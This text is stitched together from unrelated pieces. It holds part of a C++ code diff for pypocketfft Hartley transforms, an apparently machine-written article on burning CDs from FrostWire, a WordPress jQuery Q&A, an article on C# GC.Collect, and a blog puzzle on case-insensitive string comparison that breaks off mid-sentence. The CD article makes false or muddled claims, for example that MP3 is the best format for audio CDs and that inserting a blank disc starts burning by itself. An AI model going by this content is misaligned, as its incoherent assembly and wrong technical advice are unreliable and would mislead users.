s_o(copy_strides(res)); pocketfft_general_r2c<T>(dims_in, s_i, s_o, axes.back(), (const T *)in.data(), (cmplx<T> *)res.mutable_data(), fct); ndarr<T> ain(in.data(), dims_in, copy_strides(in)); ndarr<cmplx<T>> aout(res.mutable_data(), dims_out, copy_strides(res)); pocketfft_general_r2c<T>(ain, aout, axes.back(), fct); if (axes.size()==1) return res; shape_t axes2(axes.begin(), --axes.end()); pocketfft_general_c<T>(dims_out, s_o, s_o, axes2, true, (const cmplx<T> *)res.data(), (cmplx<T> *)res.mutable_data(), 1.); pocketfft_general_c<T>(aout, aout, axes2, true, 1.); return res; } py::array rfftn(const py::array &in, py::object axes_, double fct) ......@@ -2436,8 +2446,9 @@ template<typename T> py::array irfftn_internal(const py::array &in, auto dims_out(copy_shape(inter)); dims_out[axis] = lastsize; py::array res = py::array_t<T>(dims_out); pocketfft_general_c2r<T>(dims_out, copy_strides(inter), copy_strides(res), axis, (const cmplx<T> *)inter.data(), (T *)res.mutable_data(), fct); ndarr<cmplx<T>> ain(inter.data(), copy_shape(inter), copy_strides(inter)); ndarr<T> aout(res.mutable_data(), dims_out, copy_strides(res)); pocketfft_general_c2r<T>(ain, aout, axis, fct); return res; } py::array irfftn(const py::array &in, py::object axes_, size_t lastsize, ......@@ -2453,8 +2464,9 @@ template<typename T> py::array hartley_internal(const py::array &in, { auto dims(copy_shape(in)); py::array res = inplace ? in : py::array_t<T>(dims); pocketfft_general_hartley<T>(dims, copy_strides(in), copy_strides(res), makeaxes(in, axes_), (const T *)in.data(), (T *)res.mutable_data(), fct); ndarr<T> ain(in.data(), copy_shape(in), copy_strides(in)); ndarr<T> aout(res.mutable_data(), copy_shape(res), copy_strides(res)); pocketfft_general_hartley<T>(ain, aout, makeaxes(in, axes_), fct); return res; } py::array hartley(const py::array &in, py::object axes_, double fct, ......@@ -2466,55 +2478,55 @@ py::array hartley(const py::array &in, py::object axes_, double fct, } template<typename T>py::array complex2hartley(const py::array &in, const py::array &tmp, py::object axes_) const py::array &tmp, py::object axes_, bool inplace) { int ndim = in.ndim(); auto dims_out(copy_shape(in)); py::array out = py::array_t<T>(dims_out); auto dims_tmp(copy_shape(tmp)); auto stride_tmp(copy_strides(tmp)), stride_out(copy_strides(out)); py::array out = inplace ? in : py::array_t<T>(dims_out); ndarr<cmplx<T>> atmp(tmp.data(), copy_shape(tmp), copy_strides(tmp)); ndarr<T> aout(out.mutable_data(), copy_shape(out), copy_strides(out)); auto axes = makeaxes(in, axes_); size_t axis = axes.back(); const cmplx<T> *tdata = (const cmplx<T> *)tmp.data(); T *odata = (T *)out.mutable_data(); multi_iter<1,cmplx<T>,T> it(tdata, dims_tmp, stride_tmp, odata, dims_out, stride_out, axis); vector<bool> swp(ndim-1,false); multi_iter<1,cmplx<T>,T> it(atmp, aout, axis); vector<bool> swp(ndim,false); for (auto i: axes) if (i!=axis) swp[i<axis ? i : i-1] = true; swp[i] = true; while(it.remaining()>0) { int64_t rofs = 0; for (size_t i=0; i<it.pos.size(); ++i) { if (i==axis) continue; if (!swp[i]) rofs += it.pos[i]*it.dim[i].s_o; rofs += it.pos[i]*it.oarr.stride(i); else { auto x = (it.pos[i]==0) ? 0 : it.dim[i].n-it.pos[i]; rofs += x*it.dim[i].s_o; auto x = (it.pos[i]==0) ? 0 : it.iarr.shape(i)-it.pos[i]; rofs += x*it.oarr.stride(i); } } it.advance(1); for (size_t i=0; i<it.length_in(); ++i) { auto re = it.in(0,i).r; auto im = it.in(0,i).i; auto re = it.in(i).r; auto im = it.in(i).i; auto rev_i = (i==0) ? 0 : it.length_out()-i; it.out(0,i) = re+im; odata[rofs + rev_i*it.stride_out()] = re-im; it.out(i) = re+im; aout[rofs + rev_i*it.stride_out()] = re-im; } } return out; } py::array mycomplex2hartley(const py::array &in, const py::array &tmp, py::object axes_) const py::array &tmp, py::object axes_, bool inplace) { return tcheck(in, f64, f32) ? complex2hartley<double>(in, tmp, axes_) : complex2hartley<float> (in, tmp, axes_); return tcheck(in, f64, f32) ? complex2hartley<double>(in, tmp, axes_, inplace) : complex2hartley<float> (in, tmp, axes_, inplace); } py::array hartley2(const py::array &in, py::object axes_, double fct) { return mycomplex2hartley(in, rfftn(in, axes_, fct), axes_); } py::array hartley2(const py::array &in, py::object axes_, double fct, bool inplace) { return mycomplex2hartley(in, rfftn(in, axes_, fct), axes_, inplace); } const char *pypocketfft_DS = R"DELIM(Fast Fourier and Hartley transforms. ......@@ -2653,6 +2665,8 @@ PYBIND11_MODULE(pypocketfft, m) "fct"_a=1.); m.def("hartley",&hartley, hartley_DS, "a"_a, "axes"_a=py::none(), "fct"_a=1., "inplace"_a=false); m.def("hartley2",&hartley2, "a"_a, "axes"_a=py::none(), "fct"_a=1.); m.def("complex2hartley",&mycomplex2hartley, "in"_a, "tmp"_a, "axes"_a); m.def("hartley2",&hartley2, "a"_a, "axes"_a=py::none(), "fct"_a=1., "inplace"_a=false); m.def("complex2hartley",&mycomplex2hartley, "in"_a, "tmp"_a, "axes"_a, "inplace"_a=false); } Supports Markdown 0% or . You are about to add 0 people to the discussion. Proceed with caution. Finish editing this message first! Please register or to comment
__label__pos
0.975442
How To Burn A Cd From Frostwire Burning a CD from FrostWire is a simple process that can be completed in a few minutes. First, open FrostWire and select the files you want to burn to CD. To select files, click the checkbox next to the file name. Once you have selected the files you want to burn, click the “Burn” button. Next, you will need to select the burning speed. The burning speed will affect how long it takes to burn the CD. Select the speed that is best suited for your needs. Now, you will need to select the CD burner. If you do not have a CD burner, you can purchase one online or at a local electronics store. Finally, you will need to select the CD type. CD-R is a good choice if you plan on burning the CD again in the future. CD-RW is a good choice if you plan on erasing the CD after you burn it. Once you have selected the CD burner and CD type, click the “Burn” button. FrostWire will begin burning the CD. When the CD has been burned, you will see a message indicating that the CD has been burned successfully. You can now safely remove the CD from the CD burner. How do I transfer music from Frostwire to Windows Media Player? Windows Media Player is a software application that allows you to play audio and video files on your computer. Frostwire is a peer-to-peer file sharing program that allows you to download music and videos from the internet. If you want to transfer music from Frostwire to Windows Media Player, you can do so by following the steps below. See also  Dragon Age Origins Cd Keys First, open Windows Media Player and click on “File”. Next, click on “Open.” Select the music file that you want to transfer and click on “Open.” The music file will now play in Windows Media Player. How do I burn songs onto a CD? In this digital age, CDs may seem like a thing of the past, but they can still be a great way to listen to your music. Burning songs onto a CD is a simple process, and can be done with a few clicks of your mouse. To burn a CD, you will need some basic supplies. These include a CD-R or CD-RW disc, a CD burner, and some music files. Once you have these items, you can begin the burning process. The first step is to open the CD burner software on your computer. This can usually be found in the “Start” menu. Next, insert the CD-R or CD-RW disc into the CD burner. Now, it’s time to add the music files. This can be done by either dragging and dropping the files into the CD burner software, or by selecting them and clicking on the “Open” or “Add” button. Once the files are added, it’s time to start the burning process. This can be done by clicking on the “Burn” button, or by selecting the “Burn” option from the “File” menu. The CD burning process will begin, and will take a few minutes to complete. Once it is finished, you will have a copy of your CD. What is the easiest way to burn a CD? There are many ways to burn a CD, but some are easier than others. In this article, we will discuss the easiest way to burn a CD. There are many programs that can be used to burn a CD, but the easiest way to do it is with Windows Media Player. To burn a CD with Windows Media Player, follow these steps: 1. Insert a blank CD into your computer’s CD drive. 2. Open Windows Media Player. See also  Download Windows 10 Dvd Player 3. Click the Burn tab. 4. Drag the songs you want to burn to the Burn list. 5. Click the Burn button. 6. Wait for the CD to burn. That’s all there is to it! Windows Media Player will take care of the rest. How do I burn a CD using Media Player? In this article, we will show you how to burn a CD using Windows Media Player. To burn a CD using Windows Media Player, first open Windows Media Player. Next, insert a blank CD into your CD drive. Once the blank CD is inserted, Windows Media Player will automatically start the burning process. You will see a burning progress bar that will show you the status of the burning process. When the burning process is complete, you will see a message telling you that the CD burning process is complete. You can then remove the CD from your CD drive. How do I download music from Frostwire? Installing FrostWire is easy – you just need to download the installer, run it, and follow the on-screen instructions. Once FrostWire is installed, open it and click on the “Get Music” tab. You can either search for specific songs or artists, or browse the latest albums and singles. To download a song or album, just click on the “Download” button. You can choose to either save the song to your computer or add it to your FrostWire library. If you add the song to your library, you’ll be able to listen to it offline and share it with your friends. FrostWire also allows you to create custom playlists, so you can easily build a collection of your favourite songs. What is the best format to burn music CDs? There are many different formats you can use to burn music CDs, but some formats are better than others. In this article, we’ll discuss the best format to use to burn music CDs. The best format to use to burn music CDs is MP3. MP3 is a compressed format, which means that it takes up less space than other formats. This makes it perfect for burning music CDs, as it allows you to fit more songs on a disc. See also  Leyendas De Cd Juarez Another benefit of MP3 is that it is a lossy format. This means that some of the sound quality is lost when the file is compressed. However, most people can’t tell the difference between MP3 files and the original files, so this isn’t really a downside. There are other formats you can use to burn music CDs, but MP3 is generally the best option. So, if you’re looking to create a music CD, we recommend using MP3 files. Can you download music from YouTube to a CD? Can you download music from YouTube to a CD? Yes, it is possible to download music from YouTube to a CD. However, this process can be a bit complicated. There are a few different ways to download music from YouTube to a CD. One way is to use a website or software that can convert the YouTube video into a CD-quality audio file. Once you have the audio file, you can burn it to a CD. Another way to download music from YouTube to a CD is to use a YouTube to MP3 converter. This type of converter will convert the YouTube video into an MP3 file, which you can then burn to a CD. Whichever method you use, be sure to follow the instructions carefully. If you are not familiar with the process, it is best to consult with a friend or family member who is. Can you download music from YouTube to a CD? Yes, it is possible to do this, but it can be a bit complicated. There are a few different ways to download music from YouTube to a CD, and it is important to follow the instructions carefully.
__label__pos
0.569299
0 I'm trying to get a value and pass it to a hidden input in order to send form data via $_POST. I have a dropdown button and the following code in order to update the value: jQuery(document).ready(function($){ var espSeleccionada = $('button[data-id="select-especialidad"]'); espSeleccionada.on("click", function() { // if changed to, for example, the last option, then // $(this).find('option:selected').text() == D // $(this).val() == 4 // get whatever value you want into a variable var x = $(this).text(); // and update the hidden input's value $('#boton-prueba').text(x); }); }); The code is supposed to pass the value from one button to another, as shown in here the example, but, when I load the code from WordPress nothing happens. Instead, when I write it on the console it works fine. There are no JS errors in console. Please note that I'm using .text() to test if the code works, but it would have .val() before going live. This is the button HTML: <button type="button" class="btn dropdown-toggle btn-default" data-toggle="dropdown" data-id="select-especialidad" title="Hacienda" aria-expanded="false"><span class="filter-option pull-left">Hacienda</span></button> Here is an example. EDIT TO CLARIFY HOW I AM ADDING THE CODE TO IN WORDPRESS: I add the script via functions.php. This is my code: function loading_my_scripts() { wp_enqueue_style( 'buscopreparador-style', get_stylesheet_uri() ); wp_deregister_style( 'buscopreparador-style' ); if ( !is_admin() ) { wp_enqueue_style( 'styles', get_template_directory_uri() . '/assets/css/styles.css' ); wp_enqueue_style( 'vertical-tabs', get_template_directory_uri() . '/assets/css/bootstrap.vertical-tabs.min.css' ); wp_enqueue_style('bootstrap-select-css', 'https://cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.10.0/css/bootstrap-select.min.css' ); wp_enqueue_style( 'open-sans', 'https://fonts.googleapis.com/css?family=Open+Sans:400,600,600italic,400italic,700,700italic'); wp_deregister_script( 'jquery' ); wp_register_script('jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js', false, false, TRUE ); wp_register_script('bootstrap', 'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js', false, false, TRUE ); wp_register_script('bootstrap-tabcollapse', get_template_directory_uri() . '/assets/js/bootstrap-tabcollapse.js', false, false, TRUE ); wp_register_script('bootstrap-select', 'https://cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.10.0/js/bootstrap-select.min.js', false, false, TRUE ); wp_register_script('theme-js', get_template_directory_uri() . '/assets/js/theme.js', array('jquery'), false, TRUE ); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'bootstrap' ); wp_enqueue_script( 'bootstrap-tabcollapse' ); wp_enqueue_script( 'bootstrap-select' ); wp_enqueue_script( 'theme-js' ); } if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'loading_my_scripts' ); The code is in theme.js file which looks like this: ( function( $ ) { var num_cols = 3, container = $('#menu-preparadores-de-oposiciones-en'), listItem = 'li', listClass = 'sub-list'; container.each(function() { var items_per_col = new Array(), items = $(this).find(listItem), min_items_per_col = Math.floor(items.length / num_cols), difference = items.length - (min_items_per_col * num_cols); for (var i = 0; i < num_cols; i++) { if (i < difference) { items_per_col[i] = min_items_per_col + 1; } else { items_per_col[i] = min_items_per_col; } } for (var i = 0; i < num_cols; i++) { $(this).append($('<ul ></ul>').addClass(listClass)); for (var j = 0; j < items_per_col[i]; j++) { var pointer = 0; for (var k = 0; k < i; k++) { pointer += items_per_col[k]; } $(this).find('.' + listClass).last().append(items[j + pointer]); } } }); if ($("body").hasClass("page-id-64")) { $('.tab-content').addClass('col-sm-9'); $('#custom-tabs-0').tabCollapse(); } } ) ( jQuery ); jQuery(document).ready(function($){ var espSeleccionada = $('button[data-id="select-especialidad"]'); espSeleccionada.on("click", function() { // if changed to, for example, the last option, then // $(this).find('option:selected').text() == D // $(this).val() == 4 // get whatever value you want into a variable var x = $(this).html(); // and update the hidden input's value $('#boton-prueba').html(x); }); }); ( function() { var is_webkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1, is_opera = navigator.userAgent.toLowerCase().indexOf( 'opera' ) > -1, is_ie = navigator.userAgent.toLowerCase().indexOf( 'msie' ) > -1; if ( ( is_webkit || is_opera || is_ie ) && document.getElementById && window.addEventListener ) { window.addEventListener( 'hashchange', function() { var id = location.hash.substring( 1 ), element; if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) { return; } element = document.getElementById( id ); if ( element ) { if ( ! ( /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) ) { element.tabIndex = -1; } element.focus(); } }, false ); } })(); 14 • please define "won't run". Have you checked of JS errors? Apr 15, 2016 at 8:35 • The code is supposed to pass the value from one button to another, as shown the linked example, but, when I load the code from WordPress nothing happens. Instead, when I write it on the console it works fine. I've checked for JS errors and I receive the following message related with the customizer: Uncaught TypeError: wp.customize is not a function. Apr 15, 2016 at 8:39 • how is your code related to the customizer? Apr 15, 2016 at 8:42 • Not related at all Apr 15, 2016 at 8:44 • anyway, you problem is probably the error which makes other things not to execute at all due to bailing out on the exception Apr 15, 2016 at 8:44 1 Answer 1 0 Ok, the code is fine, the problem is that the target button[data-id="select-especialidad"] is being used by bootstrap-select and even if the script load before my code, it takes a few seconds or less to process the information. So the code should be wrapped after a function that checks that the event has been loaded. This is the final code: $('#select-especialidad').on('loaded.bs.select', function (e) { var y = $(this).val(); $('#select-especialidad-hidden').val(y); var espSeleccionada = $('button[data-id="select-especialidad"] > span.filter-option.pull-left'); espSeleccionada.on("click", function() { var x = $(this).text(); $('#select-especialidad-hidden').val(x); }); }); loaded.bs.select here more info on the bootstrap-select events. Your Answer By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy. Not the answer you're looking for? Browse other questions tagged or ask your own question.
__label__pos
0.877606
My two cents on GC.Collect method in C# Refrain from calling the GC.Collect method explicitly to reclaim the memory occupied by the objects in your application unless there is a specific reason do so GC.Collect method The GC.Collect() method has for long been popular among .Net developers. However, hardly few of us know how it actually works or, if a call to it is at all needed. The CLR (Common Language Runtime) adopts garbage collection as a mechanism to clean up the resources consumed by your application. Note that when you create objects in .Net, they are stored in the managed heap, and when you are done using them, you need not worry about cleaning them -- the runtime would do it for you. The CLR organizes the managed heap into generations. The three generations into which the managed heap is organized are: Generation 0, Generation 1, and Generation 2. The GC is adept at reclaiming the memory occupied by managed objects. However, you should follow certain guidelines to facilitate faster garbage collection so as to improve your application's performance. Should I use the GC.Collect() method? First off, do you at all need to call GC.Collect in your application’s code? The answer in most cases is no. Let me now tell you what this method does and why you should refrain from calling this method in most cases. When you make a call to GC.Collect() method, the runtime performs a stack walk to determine the objects that are reachable and those that aren't. It also freezes the main thread (and also any child threads it created) of the application. In other words, when the GC.Collect() method is called, the runtime performs a blocking garbage collection of all generations. I would always prefer not to use GC.Collect() unless there is a specific reason to use it. A GC typically consists of the Mark and Sweep phases followed by a Compaction phase. The time spent by the runtime to perform a GC may become a bottleneck, so, use it only very rarely and if you really need to. Rico Mariani states: "Consider calling GC.Collect() if some non-recurring event has just happened and this event is highly likely to have caused a lot of old objects to die." Using the GC.Collect() method Here's how you can invoke the GC.Collect() method in your code. GC.Collect(); Note that you can also collect objects that pertain to a specific generation. GC.Collect() – used to collect objects present in the generations 0, 1, 2 GC.Collect(0) – used to collect objects present in generation 0 GC.Collect(1) – used to collect objects present in generations 0 and 1 You can also determine how much memory has been freed by making a call to the GC.Collect() method. To do this, you can take advantage of the System.GC.GetTotalMemory() method as shown in the code snippet below. //Write code to create some large objects here Console.WriteLine("Total available memory before collection: {0:N0}", System.GC.GetTotalMemory(false)); System.GC.Collect(); Console.WriteLine("Total available memory collection: {0:N0}", System.GC.GetTotalMemory(true)); The GC.GetGeneration() method can be used to know the generation to which an object belongs. Refer to the code listing given below. static void Main(string[] args)        {            List<string> obj = new List<string>() { "Joydip", "Steve" };            Console.WriteLine(System.GC.GetGeneration(obj));            System.GC.Collect();            Console.WriteLine(System.GC.GetGeneration(obj));            System.GC.Collect();            Console.WriteLine(System.GC.GetGeneration(obj));            Console.Read();        } When you execute the above program, here's what is printed in the console window. 0 1 2 As you can see, each call to the GC.Collect() method promotes the object "obj" to the next higher generation. This is because the object "obj" survives the garbage collection in each of the two cases, i.e., it is not reclaimed in any of the two calls made to the GC.Collect() method. You can force garbage collection either to all the three generations or to a specific generation using the GC.Collect() method. The GC.Collect() method is overloaded -- you can call it without any parameters or even by passing the generation number you would like to the garbage collector to collect. Note that objects that have finalizers (and if a call to SuppressFinalize method hasn’t been made) would not be collected when a call to GC.Collect() method is made. Rather, such objects would be placed in the finalization queue. If you would like to collect those objects as well, you would need to make a call to the GC.WaitForPendingFinalizers() method so that those objects are cleaned up when the next GC cycle runs. In essence, reclaiming the memory occupied by objects that have finalizers implemented requires two passes since such objects are placed in the finalization queue rather than being reclaimed in the first pass when the garbage collector runs. Copyright © 2016 IDG Communications, Inc.   
__label__pos
0.619834
Correlation as a Geometric Mean of Slopes Take points A, B, C, D, and E and construct their LSRL. Next, switch the x- and y-coordinates of these points A'. B', C'. D', and E'. This is equivalent to reflecting these points over the line y = x. Construct the LSRL of these reflected points. The correlation of both sets of points are the same, and it is the geometric mean of the slopes of the two LSRL.
__label__pos
0.989291
Namespaces Variants Views Actions std::ranges::split_view<V,Pattern>::begin From cppreference.com < cpp‎ | ranges‎ | split view     Ranges library Range access Range conversions (C++23) Range primitives Dangling iterator handling Range concepts Views Range factories Range adaptors Range generators Range adaptor objects Range adaptor closure objects Helper items (until C++23)(C++23)     constexpr /*iterator*/ begin(); (since C++20) Returns an iterator to the first found subrange. In order to provide the amortized constant time complexity required by the range concept, this function caches the result within the split_view for use on subsequent calls. Equivalent to constexpr /*iterator*/ begin() { if (!cached_begin_.has_value()) cached_begin_ = this->find_next(ranges::begin(base_)); return {*this, ranges::begin(base_), cached_begin_.value()}; } Exposition only data members base_ and cached_begin_ are described here. Contents [edit] Parameters (none) [edit] Return value An iterator. [edit] Complexity Amortized O(1). [edit] Example #include <iomanip> #include <iostream> #include <ranges> #include <string_view>   int main() { constexpr std::string_view sentence{"Keep..moving..forward.."}; constexpr std::string_view delim{".."}; std::ranges::split_view words{sentence, delim};   std::cout << "begin(): " << std::quoted(std::string_view{*words.begin()}) << "\nSubstrings: "; for (std::string_view word : words) std::cout << std::quoted(word) << ' ';   std::ranges::split_view letters{sentence, std::string_view{""}}; std::cout << "\nbegin(): " << std::quoted(std::string_view{*letters.begin()}) << "\nLetters: "; for (std::string_view letter : letters) std::cout << letter << ' '; std::cout << '\n'; } Output: begin(): "Keep" Substrings: "Keep" "moving" "forward" "" begin(): "K" Letters: K e e p . . m o v i n g . . f o r w a r d . . [edit] See also (C++20) returns an iterator or a sentinel to the end (public member function) [edit] (C++20) returns an iterator to the beginning (public member function of std::ranges::lazy_split_view<V,Pattern>) [edit] returns an iterator to the beginning of a range (customization point object)[edit]
__label__pos
0.976608
Real numbers exercise 1.2.1 Belongs to the unit Real Numbers 1. Prove that fraction (m(n+1)+1)/(m(n+1)-n) is irreducible for every positive integer’s m and n. Solution: 1.png 2 2. Do there exist 10 distinct integers such that the sum of any 9 of them is a perfect square? Solution: Yes, for example 61, 56, 53, 48, 37, 13, -2, -28, -59, -108. Infect one can find infinitely many such sets. 3. Prove that any integer a ≥ 7 is the sum of two relatively prime integers. (we say two integers m and n are relatively if their HCF (i.e. GCD) is 1) Solution: When a is odd a = p + q where either p is even or q is even If p is even the q is odd and hence p and q are relatively prime to each other. Similarly vice versa. i. e. GCD (p, q) = 1 Thus any integer n ≥ 7 is the sum of two relatively prime integers. 3.png 4.png 5. Find the smallest natural number of the form 2a3b7c, such that the half of the number is the cube of an integer, one third of the number is the seventh power of an integer and one seventh of the number is square of an integer. [Hint: (2a3b7c)/2 is a cube only if a – 1, b, c is all divisible by 3]. Solution: Given (2a3b7c)/2 = n3 => 2(a-1)3b7c = n3 (2a3b7c)/3 = m3 => 2(a)3(b-1)7c = m7 (2a3b7c)/7 = l2 => 2(a)3b7(c-1) = l2 By trial and error method we find that a = 28 b = 36 and c = 21 Furthermore a – 1, b, c are divisible by 3
__label__pos
0.99989
We have migrated to a new support system. You can access your old tickets here Techjoomla Forum 1. Wojtowicz 2. Joomla REST API 3. Thursday, 21 May 2020 Hi, I'm testing plg_api_users, I tried with a token, no problem, but I wiped out the token from the header, just to try. I was expecting something like 'token missing...' but instead I received: { "err_msg": "Cet utilisateur n'existe pas", => 'This user doesn't exit' "err_code": 403, "response_id": "", "api": "", "version": "", "data": {} } The message seems to come from JGLOBAL_AUTH_NO_USER is this normal? Thanks.
__label__pos
0.99879
• Advertisement Sign in to follow this   Separating content from instance-specific data This topic is 736 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic. If you intended to correct an error in the post then please contact us. Recommended Posts In games, i wanted to allow the use of templates (which define the components an entity has, but instances of these templates may have different properties; e.g 2 fighters may have  position and velocity components but 2 fighters would have different values for both. They'd probably share some common traits like hull integrety, damage, etc). My first thought to instantiating these templates was cloning all the variables, but there's an alternative i'm considering. The data for entities can be divided into the following: 1. data that was defined from templates, and 2. instance specific data I'd like to only save instance-specific data as I can think of several benefits to doing so: 1. More robust save files that allow you to make changes, while allowing instanced data to persist. For example, if you change the base stats of an item and have item customizations as instanced data then updating the base stats in a future update will also preserve the customizations made. 2. Less memory usage as all instantiations of a template can share data from its template but have instance specific data So for our example, these 2 fighters would share damage and hull integrety data, while maintaining their instance-specific position and velocity component data. Anyone has ideas on how i could implement something like this? Share this post Link to post Share on other sites Advertisement There's dozens of ways. A common one is to just have your components have an embedded ref-counted pointer to "template" data that is copied when an object is instantiated, roughly implementing the "flyweight" pattern. // psuedo C++ class MyComponent {   shared_ptr<TemplateData> data;     void Load() {     data = make_shared<TemplateData>();     data->foo = load_foo();     data->bar = load_bar();   }     MyComponent* Clone() {      // this will copy the `data` pointer and add a reference, not copy all the data      return new MyComponent(*this);   }     bar GetBar() const {     return data->bar;   }     foo GetFoo() const {     return data->foo;   } }; There are many other ways of achieving your goal if that one doesn't sit well with you for some reason. You'll need to more clearly state your requirements if there's something specific you'd want an implementation to do or to avoid doing. Share this post Link to post Share on other sites Ah, sorry. Should have stated more explicitly what my question was. Is what i'm trying to achieve done often? All read-only access to the entity's info can just return information from the template. For instanced data, it seems like a lot of code would be required. For e.g, class Entity { TemplatePtr shared; // variables that can be changed on per instance basis PositionPtr pos = nullptr; VelocityPtr vel = nullptr; // if non-const access is required and if we don't have a copy of the component for this instance, make a copy and return it (i.e, copy on a potential write) Position getPos() { return pos = nullptr? pos = new Position(shared.getPosition()) : pos; } // and similarly for velocity // const version that returns the instance specific copy if it exists, or the shared one otherwise Position getPos() const { return pos = nullptr? shared.getPosition() : pos; } }; Is there some way involving c++ templates i could use so that i could just have 2 functions templated on the component type, a const and non-const version? I don't want to have to write 2 functions per component type. Share this post Link to post Share on other sites Sign in to follow this   • Advertisement
__label__pos
0.96463
ishkur88 ishkur88 - 6 months ago 37 Swift Question Showing Alerts from Model, Swift I'm trying to show an error alert to my users from the Firebase backend. I separated my Signup function according to MVC and put it in the Model, however the print(error!.localizedDescription) is nested in an if statement inside my model. I can't simply make an alertController because it does not belong to the view in main.storyboard. How do I pull that error from my Model and display it back on the view through the VC? MODEL func signUp(email: String, username: String, password: String, data: NSData!) { FIRAuth.auth()?.createUser(withEmail: email, password: password, completion: { (user, error) in if error == nil { self.setUserInfo(user: user, username: username, password: password, data: data) } else { print(error!.localizedDescription) } }) } VIEW CONTROLLER @IBAction func signupButton(_ sender: AnyObject) { if self.emailTextField.text == "" || self.usernameTextField.text == "" || self.passwordTextField.text == "" { let alertController = UIAlertController(title: "Oops!", message: "Please enter a valid username, email & password", preferredStyle: .alert) let defaultAction = UIAlertAction(title: "Ok", style: .cancel, handler: nil) alertController.addAction(defaultAction) self.present(alertController, animated: true, completion: nil) } else { let data = UIImageJPEGRepresentation(self.userProfilePicture.image!, 0.8) networkingService.signUp(email: emailTextField.text!, username: usernameTextField.text!, password: passwordTextField.text!, data: data as NSData!) } } NetworkingService is the struct that I call. Thank you for the help, I still trying to wrap my head around MVC. Answer Add a completion block to your model's signUp method. func signUp(email: String, username: String, password: String, data: NSData, completion: Error? -> ()) { FIRAuth.auth()?.createUser(withEmail: email, password: password, completion: { (user, error) in if error == nil { self.setUserInfo(user: user, username: username, password: password, data: data) } completion(error) }) } Then you provide a closure that will be called when the user is/isn't created. @IBAction func signupButton(_ sender: AnyObject) { guard let email = emailTextField.text, let username = usernameTextField.text, let password = passwordTextField.text, let image = userProfilePicture.image, let data = UIImageJPEGRepresentation(image, 0.8) where email != "" && username != "" && password != "" else { let alertController = UIAlertController(title: "Oops!", message: "Please enter a valid username, email & password", preferredStyle: .alert) alertController.addAction(UIAlertAction(title: "Ok", style: .cancel, handler: nil)) present(alertController, animated: true, completion: nil) } networkingService.signUp(email: email, username: username, password: password, data: data) { error in if let error = error { print(error.localizedDescription) } } }
__label__pos
0.999712
What’s wrong with this code, part 3 This time, let’s consider the following routine used to determine if two strings are equal (case insensitively).  The code’s written in C# if it’s not obvious.             static bool CompareStrings(String string1, String string2)             {                   //                   //    Quick check to see if the strings length is different.  If the length is different, they are different.                   //                   if (string1.Length != string2.Length)                   {                         return false;                   }                   //                   //    Since we’re going to be doing a case insensitive comparison, let’s upper case the strings.                   //                   string upperString1 = string1.ToUpper();                   string upperString2 = string2.ToUpper();                   //                   //    And now walk through the strings comparing the characters to see if they match.                   //                   for (int i = 0 ; i < string1.Length ; i += 1)                   {                         if (upperString1[i] != upperString2[i])                         {                               return false;                         }                   }                   return true;             } Yes, the code is less efficient than it could be, but there’s a far more fundamental issue with the code.  Your challenge is to determine what is incorrect about the code. Answers (and of course kudos to those who found the issues) tomorrow.   Comments (41) 1. Steve says: Well, first things first… You’re not checking to see if the two passed in strings are null. 2. Martijn says: I don’t know if this is what you mean, but one or both of the objects coming in could be null, causing a NullReferenceException. a better way would be checking for null and either throwing an ArgumentException, although throwing exceptions from this type of code is not recommended from Microsoft practice. We could also choose to return false, but that would cause false negatives, which would impact our business code. 3. Jason S says: Well, for starters, the code assumes that a character by character comparison is valid. I’m no globalization expert, but I don’t think this applies to certain languages (I’m thinking Asian languages like Chinese). You’d want to use the StringInfo class to do culture-aware string breaking of each string, then compare the results. For that matter, does ToUpper() make sense for these languages? I imagine there is no upper case equivalent to a Chinese character. 🙂 Jason 4. Mike Dunn says: Changing the case of a string is always fishy when it involves a language without the concept of upper/lower case. It’s also suspicious that the for loop checks string1.Length instead of upperString1.Length. It is possible that string1.Length != upperString1.Length or string2.Length != upperString2.Length? (I don’t program in .Net languages so the inner workings of .Net strings are a mystery to me, I’m just going on my knowledge of C-style strings and all the "fun" things you run into with localization.) 5. Steve/Martijn: You’re right, I didn’t think about null parameters. My personal thinking is that just letting the null reference exception be thrown isn’t that bad an idea, since it’s a programming error on the caller. Jason: For languages like Chinese that don’t contain cases, it’s my understanding that ToUpper works like "123".ToUpper() – in other words it doesn’t change the string. Mike (and Jason): You nailed about 3/4ths of the answer: You can’t rely on length comparisons when comparing strings case insensitively. There’s still another huge issue in the code, but you’re on the right track. 6. Prasanna says: If upperString2.Length < upperString1.Length, then upperString2[i] inside the for loop will blow up. But something tells me that this is not what you are looking for 🙂 7. Brian says: I’m guessing trailing spaces don’t matter. If (string1.Trim.Length != string2.Trim.Length) …. incase you compare: "asdf" and "asdf ", but then again, I guess those strings are not equal. 8. carlos says: In Unicode, you can represent an "e" with an acute accent as either a single character or as two characters, the "e" and the acute accent combining-character. It doesn’t cope with this kind of thing. 9. Greg Gallant says: Those strings need to be trimmed, getting rid of any excess whitespace, control characters, etc. How reliable is toUpper when dealing with special characters? Why use the original string1 variable as the for loop control when you are clearly validating the UpperStrings? And lastly, if doing a comparison, I would think one should never alter the original variable storing the data which is being compared. It almost defeats the purpose. 10. Prasanna: Right, because the code has an implicit assumption that string1.Length == string1.ToUpper().Length. But that’s not the remaining issue. 11. Daniel Jin says: absolutely no clue, but I guess when the upper strings aren’t the same length, you might get IndexOutOfRangeException. 12. Greg: Why do the strings need to be trimmed? I never said that the check was for tokens. In this routine, "asdf" != "asdf ". carlos: Yup, thats the essence if Mike Dunn’s comment. There’s still another issue though (although the suggestions above are on the right track). 13. Francois says: Actually, this code is wrong on more than one count… For starters, checking the input values for null for the two strings is required! Passing a null value as one of the strings to the current implementation generates an exception. Besides, this implementation issue, there is a more fundemental flaw to this function: this function does not compare strings but only code points. The .NET Framework uses Unicode for string handling and one of the properties of Unicode is that some characters can be represented in different ways (e.g. é (e acute) can be represented as a single 